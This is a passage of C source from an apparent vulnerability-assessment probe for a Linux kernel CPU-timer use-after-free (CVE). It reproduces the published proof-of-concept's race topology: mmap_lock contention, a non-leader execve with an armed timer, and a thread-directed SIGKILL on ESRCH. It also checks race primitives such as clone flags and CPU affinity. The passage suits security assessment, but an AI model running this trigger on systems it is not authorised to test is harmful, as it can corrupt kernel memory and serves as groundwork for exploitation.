	int tid = 0, tgid;
	long long t0;

	(void)arg;

	t0 = now_ms();
	while (tid == 0) {
		tid = g_ts->exec_tid;
		if (tid != 0)
			break;
		if (deadline_passed(t0, 15000)) {
			g_ts->killer_done = 1;
			g_ts->stop = 1;
			_exit(0);
		}
		sched_yield();
	}
	tgid = g_ts->target_tgid;

	/*
	 * Mirror the PoC's observation hook exactly: poll
	 * tgkill(tgid, exec_tid, 0) until it reports ESRCH.  ESRCH means the
	 * PIDTYPE_PID association for the exec thread's original TID is gone,
	 * which can only happen after de_thread() -> exchange_tids() has run;
	 * i.e. the task has entered the vulnerable window.  Unlike the PoC this
	 * loop is bounded by a wall-clock deadline instead of running forever.
	 */
	t0 = now_ms();
	for (;;) {
		long r;

		errno = 0;
		r = syscall(SYS_tgkill, tgid, tid, 0);
		g_ts->killer_tgkill_calls = g_ts->killer_tgkill_calls + 1;
		if (r == 0 || (r < 0 && errno == ESRCH))
			g_ts->killer_tgkill_ok = 1;   /* the syscall itself works */
		if (r < 0) {
			g_ts->killer_tgkill_last_errno = errno;
			if (errno == ESRCH) {
				g_ts->killer_esrch = 1;
				break;
			}
		}
		if (deadline_passed(t0, 5000))
			break;
		sched_yield();
	}

	/* thread-directed SIGKILL, exactly as the PoC does after observing ESRCH */
	errno = 0;
	if (syscall(SYS_tgkill, tgid, tgid, SIGKILL) == 0)
		g_ts->killer_tgkill_ok = 1;
	else
		g_ts->killer_tgkill_last_errno = errno;

	g_ts->stop = 1;
	g_ts->killer_done = 1;
	_exit(0);
}

static void *trig_exec_thread(void *arg)
{
	struct sigevent sev;
	struct itimerspec its;
	timer_t t = 0;
	char pre[64];
	char a0[] = "probe";
	char a1[] = "--exec-landed";
	char *const argv[] = { a0, a1, pre, NULL };
	char *const envp[] = { NULL };
	long long t0;
	int tid;

	(void)arg;

	(void)prctl(PR_SET_NAME, "timer-exec", 0, 0, 0);

	/*
	 * Arm a per-thread CPU timer for this NON-LEADER thread.  The k_itimer
	 * gets a reference to this thread's struct pid and its timerqueue node is
	 * queued in this thread's posix_cputimers.  One hour of *thread* CPU time
	 * means it can never fire during the probe.
	 */
	memset(&sev, 0, sizeof sev);
	sev.sigev_notify = SIGEV_SIGNAL;
	sev.sigev_signo = g_cpu_sig;
	memset(&its, 0, sizeof its);
	its.it_value.tv_sec = 3600;
	its.it_value.tv_nsec = 0;

	errno = 0;
	if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t) != 0) {
		g_ts->exec_result = errno ? errno : -1;
		g_ts->exec_reached = 1;
		_exit(120);
	}
	errno = 0;
	if (timer_settime(t, 0, &its, NULL) != 0) {
		g_ts->exec_result = errno ? errno : -1;
		g_ts->exec_reached = 1;
		_exit(121);
	}

	tid = (int)gettid_raw();
	g_ts->exec_tid = tid;
	g_ts->exec_reached = 1;

	/*
	 * Release the lockers only now that this thread (and therefore the tid the
	 * killer is waiting for) exists -- see the comment on trig_locker_body.
	 */
	g_ts->go = 1;

	/* bounded wait for the lockers to actually be holding mmap_lock */
	t0 = now_ms();
	while (g_ts->locker_started < g_ts->lockers_expected &&
	       !deadline_passed(t0, 5000))
		sched_yield();

	burn_cpu(2000000UL);

	fmt(pre, sizeof pre, "%ld:%d", (long)getpid(), tid);

	/*
	 * This is the exec that de_thread() will process.  If a thread-directed
	 * SIGKILL lands while exec_mmap() waits in mmap_read_lock_killable() the
	 * task exits past point_of_no_return without draining its CPU timerqueue.
	 * The probe stops observing here: it does not attempt to exploit that.
	 *
	 * The target is g_trig_exec_path (probe_config.h, or the PROBE_TRIG_EXECS
	 * environment override), NOT an unconditional /proc/self/exe: on a target
	 * that refuses to exec its own image, an unconditional self-exec can only
	 * ever report "execve returned EACCES" and never exercises this path.
	 */
	info(7, "trigger exec thread: tid=%d target=%s argv0=probe t_mono_ms=%lld "
	     "-> execve now", tid, g_trig_exec_path, now_ms());
	errno = 0;
	execve(g_trig_exec_path, argv, envp);

	g_ts->exec_result = errno ? errno : -1;
	out("[INFO 7] trigger exec thread: execve RETURNED errno=%d(%s)\n",
	    g_ts->exec_result, errno_name(g_ts->exec_result));
	_exit(122);
}

/* Returns 0 = none, 1 = clone(CLONE_VM) helper process, 2 = pthread. */
static int trig_spawn_locker(void)
{
	pid_t hp = spawn_vm_helper(trig_locker, NULL);

	if (hp >= 0) {
		if (g_ts->helper_count < TRIG_MAX_HELPERS)
			g_ts->helper_pid[g_ts->helper_count++] = (int)hp;
		return 1;
	}

	/* Degrade to a plain thread of this process: it shares this mm, so it
	 * still contends on the same mmap_lock.  Observed on the emulation
	 * target that clone(CLONE_VM) without CLONE_THREAD can be refused with
	 * EINVAL, so this fallback matters in practice. */
	{
		pthread_t th;

		if (pthread_create(&th, NULL, trig_locker_thread, NULL) != 0)
			return 0;
		(void)pthread_detach(th);
	}
	return 2;
}

/* Returns 0 = none, 1 = clone(CLONE_VM) helper process, 2 = forked process. */
static int trig_spawn_killer(void)
{
	pid_t kp = spawn_vm_helper(trig_killer, NULL);

	if (kp >= 0) {
		if (g_ts->helper_count < TRIG_MAX_HELPERS)
			g_ts->helper_pid[g_ts->helper_count++] = (int)kp;
		return 1;
	}

	/* A forked killer is a separate process and can still tgkill the target;
	 * it only sees the shared-state flags if g_ts is real MAP_SHARED memory. */
	kp = fork();
	if (kp < 0)
		return 0;
	if (kp == 0)
		trig_killer(NULL);         /* never returns */

	if (g_ts->helper_count < TRIG_MAX_HELPERS)
		g_ts->helper_pid[g_ts->helper_count++] = (int)kp;
	return 2;
}

static void trig_target_run(void)
{
	pthread_t th;
	sigset_t set;
	int i;
	int mech;
	long long t0;

	g_watchdog_exit_code = 95;
	alarm(50);

	g_ts->target_tgid = (int)getpid();

	out("[INFO 7] target pid=%ld leader_tid=%ld vma_count=%lu exec_target=%s "
	    "nokill=%d starting lockers+killer+exec_thread\n",
	    (long)getpid(), gettid_raw(), g_vma_count, g_trig_exec_path,
	    g_trig_nokill);

	if (trig_prepare_range() != 0 && g_ts->vma_mapped <= 0) {
		out("[INFO 7] target: VMA fragmentation unavailable "
		    "(requested=%d mapped=%d) -- continuing without contention\n",
		    g_ts->vma_requested, g_ts->vma_mapped);
	}

	g_ts->helper_count = 0;
	mech = 0;
	for (i = 0; i < TRIG_LOCKERS; i++) {
		int m = trig_spawn_locker();

		if (m == 0) {
			out("[INFO 7] target: locker %d could not be spawned "
			    "(clone and pthread both failed)\n", i);
			break;
		}
		if (mech == 0)
			mech = m;
	}
	g_ts->locker_mech = mech;
	g_ts->lockers_expected = (mech == 0) ? 0 : TRIG_LOCKERS;

	if (g_trig_nokill) {
		/*
		 * CONTROL ARM.  Everything about this process is identical to the
		 * treatment arm - the same fragmented VMA range, the same
		 * clone(CLONE_VM) lockers, the same non-leader exec thread with the
		 * same armed per-thread CPU timer - except that no killer is spawned,
		 * so nothing interrupts the exec.  That single difference is what makes
		 * the treatment arm's missing landing marker mean something; without a
		 * control, "no marker" cannot be distinguished from "the marker is
		 * never produced in this context at all".
		 */
		mech = 0;
		g_ts->killer_mech = 0;
		out("[INFO 7] target: killer DISABLED (PROBE_TRIG_NOKILL=1) - "
		    "control arm, exec is allowed to land\n");
	} else {
		mech = trig_spawn_killer();
		g_ts->killer_mech = mech;
		if (mech == 0)
			out("[INFO 7] target: killer could not be spawned "
			    "(clone and fork both failed); exec will not be interrupted\n");
	}

	out("[INFO 7] target: locker_mech=%d (%s) killer_mech=%d (%s) "
	    "helpers=%d\n", g_ts->locker_mech,
	    g_ts->locker_mech == 1 ? "clone(CLONE_VM)" :
	    (g_ts->locker_mech == 2 ? "pthread" : "none"),
	    g_ts->killer_mech,
	    g_ts->killer_mech == 1 ? "clone(CLONE_VM)" :
	    (g_ts->killer_mech == 2 ? "fork" : "none"),
	    g_ts->helper_count);

	/* the CPU timer's signal is blocked, as the PoC does */
	if (sigemptyset(&set) != 0 || sigaddset(&set, g_cpu_sig) != 0)
		_exit(113);
	if (pthread_sigmask(SIG_BLOCK, &set, NULL) != 0)
		_exit(113);

	if (pthread_create(&th, NULL, trig_exec_thread, NULL) != 0)
		_exit(114);

	t0 = now_ms();
	while (!deadline_passed(t0, 40000))
		sched_yield();
	_exit(90);
}

static int trig_read_kmsg(void)
{
	int fd;
	char buf[4096];
	ssize_t n;
	int e;

	/* informational only: on a phone this normally fails without CAP_SYSLOG */
	fd = open(PROBE_CFG_KMSG_PATH, O_RDONLY | O_NONBLOCK);
	if (fd < 0)
		return -errno;
	errno = 0;
	n = read(fd, buf, sizeof buf - 1);
	e = errno;
	(void)close(fd);
	if (n < 0)
		return -e;
	buf[n] = '\0';
	info(7, "%s readable (%zd bytes); first line: %.120s",
	     PROBE_CFG_KMSG_PATH, n, buf);
	return (int)n;
}

static void step7_trigger_topology(void)
{
	int attempt;
	int attempts = g_attempts;
	int best_err = 0;
	int any_esrch = 0;
	int any_killed_by_sigkill = 0;
	int any_exec_landed = 0;
	int any_tgkill_ok = 0;
	int any_tgkill_calls = 0;
	int tgkill_last_errno = 0;
	int any_window = 0;
	int any_execve_returned = 0;
	int window_attempt = -1;
	int locker_mech = 0;
	int killer_mech = 0;
	int completed = 0;
	int reap_ok = 0;
	int esrch_attempt = -1;
	char d[560];
	int kmsg;

	memset(g_ts, 0, sizeof *g_ts);

	if (attempts < 1)
		attempts = 1;
	if (attempts > MAX_ATTEMPTS)
		attempts = MAX_ATTEMPTS;

	for (attempt = 0; attempt < attempts; attempt++) {
		pid_t p;
		pid_t w = 0;
		int status = 0;
		siginfo_t si;
		long long t0;
		int saw_esrch, saw_stop, saw_killer, exec_landed, killed_by_kill;
		int execve_returned, window_entered;
		int lockers_done;

		memset(g_ts, 0, sizeof *g_ts);
		p = fork();
		if (p < 0) {
			best_err = errno;
			info(7, "attempt %d: fork failed errno=%d(%s)", attempt,
			     best_err, errno_name(best_err));
			break;
		}
		if (p == 0)
			trig_target_run();     /* never returns */

		/*
		 * Wait for the target to become a zombie WITHOUT reaping it, like
		 * the PoC does with waitid(..., WNOWAIT).  Reaping is the step
		 * that triggers cleanup_timerqueue() -> rb_erase() on an affected
		 * kernel, so we separate the two phases deliberately.
		 */
		t0 = now_ms();
		for (;;) {
			memset(&si, 0, sizeof si);
			if (waitid(P_PID, (id_t)p, &si,
				   (int)(WEXITED | WNOHANG | WNOWAIT)) != 0) {
				best_err = errno;
				break;
			}
			if (si.si_pid == p)
				break;
			if (deadline_passed(t0, 30000)) {
				(void)kill(p, SIGKILL);
				break;
			}
			msleep(5);
		}

		saw_esrch = g_ts->killer_esrch;
		saw_stop = g_ts->stop;
		saw_killer = g_ts->killer_done;
		lockers_done = g_ts->lockers_done;
		exec_landed = (g_ts->exec_result == 0 && g_ts->exec_reached) ? 1 : 0;

		/*
		 * ESRCH on tgkill(tgid, exec_tid, 0) is only CONCLUSIVE evidence that
		 * de_thread() -> exchange_tids() ran when the exec thread is still
		 * inside execve(), i.e. when execve() has not returned.  If execve()
		 * returned with an error (ENOEXEC, EACCES, ...), the thread then
		 * calls _exit(), which makes its tid disappear for an entirely
		 * mundane reason and produces the same ESRCH.  Distinguishing the two
		 * is the whole point of tracking exec_result alongside it.
		 */
		execve_returned = (g_ts->exec_reached && g_ts->exec_result != 0) ? 1 : 0;
		window_entered = (!execve_returned && g_ts->exec_reached && saw_esrch)
				 ? 1 : 0;

		/* now actually reap: release_task() -> posix_cpu_timers_exit() */
		t0 = now_ms();
		reap_ok = 0;
		for (;;) {
			w = waitpid(p, &status, WNOHANG);
			if (w == p) {
				reap_ok = 1;
				break;
			}
			if (w < 0) {
				if (best_err == 0)
					best_err = errno;
				break;
			}
			if (deadline_passed(t0, 12000)) {
				(void)kill(p, SIGKILL);
				break;
			}
			msleep(2);
		}

		killed_by_kill = (reap_ok && WIFSIGNALED(status) &&
				  WTERMSIG(status) == SIGKILL) ? 1 : 0;

		info(7, "attempt %d: esrch_observed=%d execve_returned=%d "
			"window_entered=%d -- killer_done=%d stop=%d "
			"lockers_done=%d/%d "
			"locker_mech=%d killer_mech=%d tgkill_calls=%d "
			"tgkill_errno=%d(%s) exec_reached=%d "
			"exec_result=%d(%s) reap=%d wifexited=%d wexitstatus=%d "
			"wifsignaled=%d wtermsig=%d killed_by_sigkill=%d "
			"vma_mapped=%d/%d memfd=%d",
		     attempt, saw_esrch, execve_returned, window_entered,
		     saw_killer, saw_stop, lockers_done,
		     g_ts->lockers_expected, g_ts->locker_mech, g_ts->killer_mech,
		     g_ts->killer_tgkill_calls, g_ts->killer_tgkill_last_errno,
		     errno_name(g_ts->killer_tgkill_last_errno),
		     g_ts->exec_reached, g_ts->exec_result,
		     errno_name(g_ts->exec_result), reap_ok,
		     reap_ok && WIFEXITED(status) ? 1 : 0,
		     (reap_ok && WIFEXITED(status)) ? WEXITSTATUS(status) : -1,
		     reap_ok && WIFSIGNALED(status) ? 1 : 0,
		     (reap_ok && WIFSIGNALED(status)) ? WTERMSIG(status) : -1,
		     killed_by_kill, g_ts->vma_mapped, g_ts->vma_requested,
		     g_ts->used_memfd);

		/*
		 * Let the helpers unwind by themselves.  This is only meaningful for
		 * the clone(CLONE_VM)/fork variants, which are separate processes: a
		 * pthread locker lives inside the target and dies with it, so its
		 * count staying at zero is expected and the verdict never depends on
		 * it.
		 */
		if (g_ts->locker_mech == 1) {
			t0 = now_ms();
			while (g_ts->lockers_done < g_ts->lockers_expected &&
			       !deadline_passed(t0, 6000))
				msleep(5);
		}
		info(7, "attempt %d: helpers unwound lockers_done=%d/%d "
			"killer_done=%d helper_pids=%d,%d,%d,%d",
		     attempt, g_ts->lockers_done, g_ts->lockers_expected,
		     g_ts->killer_done,
		     g_ts->helper_pid[0], g_ts->helper_pid[1],
		     g_ts->helper_pid[2], g_ts->helper_pid[3]);

		if (saw_esrch && esrch_attempt < 0)
			esrch_attempt = attempt;
		if (window_entered && window_attempt < 0)
			window_attempt = attempt;
		any_esrch |= saw_esrch;
		any_window |= window_entered;
		any_execve_returned |= execve_returned;
		any_killed_by_sigkill |= killed_by_kill;
		any_exec_landed |= exec_landed;
		any_tgkill_ok |= g_ts->killer_tgkill_ok;
		any_tgkill_calls |= g_ts->killer_tgkill_calls;
		tgkill_last_errno = g_ts->killer_tgkill_last_errno;
		locker_mech = g_ts->locker_mech;
		killer_mech = g_ts->killer_mech;
		/*
		 * Treatment arm: the sequence is complete once the target has been
		 * reaped after the killer stopped.  Control arm: there is no killer and
		 * therefore no `stop` flag, so completion is the reap itself - for an
		 * image that is allowed to run, that is an ordinary exit.
		 */
		if (g_trig_nokill)
			completed |= (reap_ok) ? 1 : 0;
		else
			completed |= (reap_ok && saw_stop) ? 1 : 0;
	}

	kmsg = trig_read_kmsg();
	info(7, "kernel-log probe (%s) result=%d %s", PROBE_CFG_KMSG_PATH, kmsg,
	     kmsg >= 0 ? "(readable)"
	     : "(not readable: kernel diagnostics must be collected out of band "
	       "with `hdc shell dmesg`, e.g. `hdc shell 'dmesg | tail -n 80'`)");

	fmt(d, sizeof d, "attempts=%d sequence_completed=%d esrch_observed=%d "
	    "(first at attempt %d) window_entered=%d (first at attempt %d) "
	    "execve_returned_early=%d killed_by_sigkill=%d "
	    "exec_landed_before_kill=%d vma=%d/%d memfd=%d locker_mech=%d "
	    "killer_mech=%d tgkill_calls=%d tgkill_errno=%d(%s) nokill=%d "
	    "exec_target=%s",
	    attempts, completed, any_esrch, esrch_attempt, any_window,
	    window_attempt, any_execve_returned, any_killed_by_sigkill,
	    any_exec_landed, g_ts->vma_mapped, g_ts->vma_requested,
	    g_ts->used_memfd, locker_mech, killer_mech, any_tgkill_calls,
	    tgkill_last_errno, errno_name(tgkill_last_errno), g_trig_nokill,
	    g_trig_exec_path);
	/*
	 * The step id still reads "no_corruption" and is kept verbatim, so that a
	 * report produced here stays comparable field for field with the published
	 * runs.  It names what THIS STEP adds -- no corruption step of its own --
	 * and not what the run can bring about: on an affected kernel reproducing
	 * the topology is what makes that use-after-free land -- up to once per
	 * attempt that enters the window, so this run's attempt count is the
	 * bound, not "once".
	 */
	step_report(7, "cve_trigger_topology_no_corruption", completed,
		    completed ? 0 : best_err, "%s", d);

	info(7, "NOTE: this step reproduces the trigger topology only, and adds no "
		"corruption step of its own: it never writes to, frees, reclaims or "
		"fabricates kernel objects. Reproducing the topology is itself the "
		"act that can make the kernel corrupt memory: on a kernel that is "
		"actually affected this step may trip the underlying UAF, at most "
		"once per attempt that enters the window -- the upper bound is this "
		"run's attempt count (default 3, maximum 16; the published "
		"window-entry run used 12 attempts and entered the window 9 times); "
		"collect `hdc shell 'dmesg | tail -n 100'` afterwards.");
	info(7, "NOTE: window_entered=1 is the strong signal: the exec thread was "
		"inside execve() (execve_returned_early=0) while its original TID had "
		"already stopped resolving, which can only mean de_thread() ran "
		"exchange_tids(). esrch_observed=1 with execve_returned_early=1 means "
		"the opposite: execve() failed early, the thread then _exit()ed and "
		"its TID disappeared for that mundane reason, so the window was NOT "
		"entered.");

	set_pre_id("P9", any_tgkill_ok ? V_YES : V_UNKNOWN,
		"tgkill calls=%d last_errno=%d(%s) esrch_observed=%d "
		"thread_directed_SIGKILL_sent=%d",
		any_tgkill_calls, tgkill_last_errno, errno_name(tgkill_last_errno),
		any_esrch, any_killed_by_sigkill);
	set_pre_id("P10", completed ? V_YES : V_UNKNOWN,
		"target reaped via waitid(WNOWAIT)+wait4/waitpid: reap=%d "
		"window_entered=%d esrch_observed=%d execve_returned_early=%d "
		"killed_by_sigkill=%d",
		completed, any_window, any_esrch, any_execve_returned,
		any_killed_by_sigkill);
}

/* ================================================================== */
/* STEP 8 -- primitives that matter for the race window                 */
/* ================================================================== */

static int s8_proc_readable(void)
{
	struct {
		const char *path;
		int ok;
		int err;
		long bytes;
	} probes[] = {
		{ "/proc/self/maps",   0, 0, 0 },
		{ "/proc/self/status", 0, 0, 0 },
		{ "/proc/self/task",   0, 0, 0 },
		{ "/proc/self/stat",   0, 0, 0 },
		{ "/proc/self/cmdline",0, 0, 0 },
	};
	size_t i;
	int maps_ok = 0;

	for (i = 0; i < sizeof probes / sizeof probes[0]; i++) {
		int fd = open(probes[i].path, O_RDONLY);
		char buf[256];
		ssize_t n;

		if (fd < 0) {
			probes[i].err = errno;
		} else {
			errno = 0;
			n = read(fd, buf, sizeof buf - 1);
			if (n < 0) {
				probes[i].err = errno;
			} else {
				probes[i].ok = 1;
				probes[i].bytes = (long)n;
			}
			(void)close(fd);
		}
		info(8, "read %-20s %s errno=%d(%s) bytes=%ld",
		     probes[i].path, probes[i].ok ? "ok" : "fail",
		     probes[i].ok ? 0 : probes[i].err,
		     errno_name(probes[i].ok ? 0 : probes[i].err),
		     probes[i].bytes);
		if (strcmp(probes[i].path, "/proc/self/maps") == 0 && probes[i].ok)
			maps_ok = 1;
	}

	info(8, "/proc/self/task entry count=%d (1 == single-threaded, "
		"-1 == unreadable)", count_threads_self());

	return maps_ok;
}

static int s8_clone_vm_helper(void *arg)
{
	(void)arg;
	g_ts->s8_clone_vm_ran = 1;
	_exit(0);
}

/*
 * Both variants are reported independently: a failure of one must not mask the
 * other, which is why the two sub-tests are run separately and their results are
 * returned as a bitmask instead of a single verdict.
 *
 * Bitmask:
 *     0x1   clone(fn, stack, CLONE_VM|SIGCHLD, NULL) worked (PoC helper idiom)
 *     0x2   raw clone(CLONE_VM|...|CLONE_THREAD) worked
 *     0x100 the CLONE_VM sub-test failed
 *     0x200 the CLONE_THREAD sub-test failed
 *     0x400 undetermined (timeout, or the child died unexpectedly)
 * The precise errno of a failed sub-test is reported on its own [INFO 8] line.
 *
 * Everything runs inside a throw-away child process so the temporary
 * CLONE_THREAD thread and the helper can neither disturb the probe process nor
 * be left behind.
 */
#define S8_CLONEVM_OK       0x1
#define S8_CLONETHR_OK      0x2
#define S8_VM_ERR_BASE      0x100
#define S8_THR_ERR_BASE     0x200
#define S8_UNDETERMINED     0x400

static int s8_run_clone_tests(void)
{
	pid_t p;
	int status = 0;
	long long t0;
	pid_t w = 0;

	p = fork();
	if (p < 0)
		return S8_UNDETERMINED;

	if (p == 0) {
		void *stack;
		pid_t hp;
		long raw;
		long long ct0;
		int bits = 0;

		g_watchdog_exit_code = 95;
		alarm(15);

		/* ---- A: CLONE_VM|SIGCHLD, no CLONE_THREAD (the PoC helper idiom) ---- */
		g_ts->s8_clone_vm_ran = 0;
		errno = 0;
		hp = spawn_vm_helper(s8_clone_vm_helper, NULL);
		if (hp < 0) {
			int e = errno ? errno : -1;

			bits |= S8_VM_ERR_BASE;
			out("[INFO 8] clone(CLONE_VM|SIGCHLD) FAILED errno=%d(%s)\n",
			    e, errno_name(e));
		} else {
			ct0 = now_ms();
			while (g_ts->s8_clone_vm_ran == 0 &&
			       !deadline_passed(ct0, 4000))
				msleep(2);
			(void)waitpid(hp, NULL, 0);
			bits |= S8_CLONEVM_OK;
			out("[INFO 8] clone(CLONE_VM|SIGCHLD) ok helper_pid=%ld "
			    "helper_ran=%d\n", (long)hp, g_ts->s8_clone_vm_ran);
		}

		/*
		 * ---- B: raw clone() syscall with CLONE_VM|CLONE_THREAD ----
		 *
		 * The raw syscall does NOT take a function pointer: the child returns
		 * from the syscall with 0, on the stack we hand it, so the caller
		 * must branch on the return value itself.  The child branch touches
		 * nothing but one word of shared memory and the exit syscall: it
		 * inherits our TLS (no CLONE_SETTLS) and must not re-enter libc.
		 * This is the flag combination pthread_create() uses.
		 */
		stack = mmap(NULL, TRIG_STACK_SIZE, PROT_READ | PROT_WRITE,
			     MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0);
		if (stack == MAP_FAILED) {
			int e = errno ? errno : -1;

			bits |= S8_THR_ERR_BASE;
			out("[INFO 8] raw clone(CLONE_THREAD): stack mmap failed "
			    "errno=%d(%s)\n", e, errno_name(e));
		} else {
			g_ts->s8_clone_thread_ran = 0;
			errno = 0;
			raw = syscall(SYS_clone,
				      (long)(CLONE_VM | CLONE_FS | CLONE_FILES |
					     CLONE_SIGHAND | CLONE_THREAD |
					     CLONE_SYSVSEM),
				      (long)((char *)stack + TRIG_STACK_SIZE),
				      0L, 0L, 0L);
			if (raw == 0) {
				/* CHILD THREAD: no libc, no TLS, no return */
				g_ts->s8_clone_thread_ran = 1;
				(void)syscall(SYS_exit, 0);
				for (;;)
					;               /* unreachable */
			}
			if (raw < 0) {
				int e = errno ? errno : -1;

				bits |= S8_THR_ERR_BASE;
				out("[INFO 8] raw clone(CLONE_VM|CLONE_THREAD) "
				    "FAILED errno=%d(%s)\n", e, errno_name(e));
			} else {
				ct0 = now_ms();
				while (g_ts->s8_clone_thread_ran == 0 &&
				       !deadline_passed(ct0, 4000))
					sched_yield();
				bits |= S8_CLONETHR_OK;
				out("[INFO 8] raw clone(CLONE_VM|CLONE_THREAD) ok "
				    "new_tid=%ld thread_ran=%d threads_now=%d\n",
				    raw, g_ts->s8_clone_thread_ran,
				    count_threads_self());
			}
		}

		_exit(bits & 0xff);
	}

	/* The child's exit code carries the bitmask (only the low byte is usable). */
	t0 = now_ms();
	for (;;) {
		w = waitpid(p, &status, WNOHANG);
		if (w == p)
			break;
		if (w < 0)
			break;
		if (deadline_passed(t0, 10000)) {
			(void)kill(p, SIGKILL);
			(void)waitpid(p, &status, 0);
			info(8, "clone sub-test child killed after timeout");
			return S8_UNDETERMINED;
		}
		msleep(2);
	}

	if (w != p)
		return S8_UNDETERMINED;

	if (!WIFEXITED(status)) {
		info(8, "clone sub-test child terminated by signal %d",
		     WIFSIGNALED(status) ? WTERMSIG(status) : -1);
		return S8_UNDETERMINED;
	}

	info(8, "clone sub-tests: clone_vm=%d clone_thread=%d (exit code %d)",
	     (WEXITSTATUS(status) & S8_CLONEVM_OK) ? 1 : 0,
	     (WEXITSTATUS(status) & S8_CLONETHR_OK) ? 1 : 0,
	     WEXITSTATUS(status));

	return WEXITSTATUS(status) & 0xff;
}

static int s8_affinity(void)
{
	cpu_set_t set;
	cpu_set_t orig;
	cpu_set_t back;
	int e_get = 0, e_set = 0, e_restore = 0;
	int count = -1;
	int i;
	int first = -1;

	memset(&set, 0, sizeof set);
	memset(&orig, 0, sizeof orig);
	memset(&back, 0, sizeof back);

	errno = 0;
	if (sched_getaffinity(0, sizeof orig, &orig) != 0) {
		e_get = errno;
	} else {
		count = CPU_COUNT(&orig);
		for (i = 0; i < CPU_SETSIZE; i++) {
			if (CPU_ISSET(i, &orig)) {
				first = i;
				break;
			}
		}
	}

	if (first >= 0) {
		CPU_ZERO(&set);
		CPU_SET(first, &set);
		errno = 0;
		if (sched_setaffinity(0, sizeof set, &set) != 0) {
			e_set = errno;
		} else {
			errno = 0;
			if (sched_getaffinity(0, sizeof back, &back) != 0)
				e_restore = errno;
			else
				e_restore = 0;
			(void)sched_setaffinity(0, sizeof orig, &orig);
		}
	} else if (e_get == 0) {
		e_set = EINVAL;
	}

	info(8, "sched_getaffinity=%s errno=%d(%s) cpu_count=%d first_cpu=%d; "
		"sched_setaffinity=%s errno=%d(%s) readback_ok=%d",
	     e_get == 0 ? "ok" : "fail", e_get, errno_name(e_get), count, first,
	     e_set == 0 ? "ok" : "fail", e_set, errno_name(e_set),
	     e_restore == 0 ? 1 : 0);

	return (e_get == 0 && e_set == 0) ? 1 : 0;
}

static void step8_race_primitives(void)
{
	int maps_ok;
	int affinity_ok;
	int clone_vm_ok;
	int clone_thr_ok;
	int clone_bits;
	int contig_ok;
	char d[520];
	int any_vma_ok;
	int e = 0;

	maps_ok = s8_proc_readable();
	affinity_ok = s8_affinity();

	/*
	 * A cheap fragmentation test in this process (the heavy one runs in step
	 * 7's target): 256 MAP_FIXED pages backed by one file offset must yield
	 * many separate VMAs, which is what makes mprotect() hold mmap_lock long
	 * enough to widen the race.
	 */
	contig_ok = 0;
	any_vma_ok = 0;
	{
		unsigned long save = g_vma_count;
		int r;

		g_vma_count = 256;
		memset(g_ts, 0, sizeof *g_ts);
		r = trig_prepare_range();
		if (r == 0 && g_ts->vma_mapped >= 200) {
			any_vma_ok = 1;
			contig_ok = 1;
		}
		info(8, "VMA fragmentation test: requested=%d mapped=%d memfd=%d "
			"mprotect_prot_none_toggle_ok=%d",
		     g_ts->vma_requested, g_ts->vma_mapped, g_ts->used_memfd,
		     contig_ok);
		if (g_ts->base != NULL && g_ts->len > 0) {
			errno = 0;
			e = mprotect(g_ts->base, g_ts->len, PROT_NONE);
			if (e != 0)
				e = errno;
			(void)mprotect(g_ts->base, g_ts->len, PROT_READ);
			info(8, "mprotect(PROT_NONE) on fragmented range: errno=%d(%s)",
			     e, errno_name(e));
			(void)munmap(g_ts->base,
				     (size_t)g_ts->vma_requested *
				     (size_t)(g_pagesize > 0 ? g_pagesize : 4096));
			g_ts->base = NULL;
			g_ts->len = 0;
		}
		g_vma_count = save;
	}

	clone_bits = s8_run_clone_tests();
	clone_vm_ok = (clone_bits & S8_CLONEVM_OK) ? 1 : 0;
	clone_thr_ok = (clone_bits & S8_CLONETHR_OK) ? 1 : 0;

	fmt(d, sizeof d, "proc_self_maps=%d sched_affinity=%d "
	    "clone_vm_helper=%d clone_thread=%d vma_fragmentation=%d ncpu=%ld",
	    maps_ok, affinity_ok, clone_vm_ok, clone_thr_ok, any_vma_ok, g_ncpu);
	/*
	 * The canonical verdict asks whether the race primitives are available at
	 * all.  Either clone variant is enough to prove CLONE_VM|CLONE_THREAD
	 * works (pthread_create in step 2 already needs that combination), so a
	 * kernel that refuses only clone(CLONE_VM|SIGCHLD) without CLONE_THREAD
	 * does not make the step fail -- but the split is reported verbatim in
	 * detail so a porter can see exactly which form is unavailable.
	 */
	step_report(8, "race_primitives",
		    (maps_ok && affinity_ok && (clone_vm_ok || clone_thr_ok)), 0,
		    "%s", d);

	/*
	 * P11 is clone(CLONE_VM|...) support; the pthread-based path already
	 * proves CLONE_VM|CLONE_THREAD works, so either variant satisfies it.
	 */
	if (clone_vm_ok)
		set_pre_id("P11", V_YES,
			   "clone(fn,stack,CLONE_VM|SIGCHLD) helper ok; "
			   "raw clone(CLONE_VM|CLONE_THREAD) ok=%d", clone_thr_ok);
	else if (clone_thr_ok)
		set_pre_id("P11", V_YES,
			   "raw clone(CLONE_VM|CLONE_THREAD) ok but "
			   "clone(CLONE_VM|SIGCHLD) refused (bits=0x%x); "
			   "pthread_create in step 2 also needs CLONE_VM", clone_bits);
	else
		set_pre_id("P11", V_NO, "clone bits=0x%x (see [INFO 8] for errno)",
			   clone_bits);

	if (any_vma_ok && affinity_ok)
		set_pre_id("P12", V_YES,
			   "vma_fragmentation=%d sched_affinity_roundtrip=1 "
			   "ncpu=%ld mprotect_errno=%d(%s)",
			   any_vma_ok, g_ncpu, e, errno_name(e));
	else
		set_pre_id("P12", V_NO,
			   "vma_fragmentation=%d sched_affinity=%d",
			   any_vma_ok, affinity_ok);

	set_pre_id("P13", maps_ok ? V_YES : V_NO,
		   "/proc/self/maps readable=%d /proc/self/task entries=%d",
		   maps_ok, count_threads_self());
}

/* ================================================================== */
/* STEP 9 -- prerequisite matrix                                       */
/* ================================================================== */

static const char *verdict_str(enum verdict v)
{
	switch (v) {
	case V_YES: return "MET";
	case V_NO:  return "NOT-MET";
	default:    return "UNKNOWN";
	}
}

static void step9_summary(void)
{
	unsigned i;
	unsigned met = 0, unmet = 0, unknown = 0;
	int affected_range = 0;
	int plausible;
	char d[400];

	set_pre_id("P1", g_is_linux ? V_YES : V_NO, "sysname=%s release=%s machine=%s",
		g_sysname[0] ? g_sysname : "-",
		g_release[0] ? g_release : "-",
		g_machine[0] ? g_machine : "-");

	if (g_kver_major > 5)
		affected_range = 1;
	else if (g_kver_major == 5 && g_kver_minor >= 7)
		affected_range = 1;

	set_pre_id("P2", (g_kver_major < 0) ? V_UNKNOWN : (affected_range ? V_YES : V_NO),
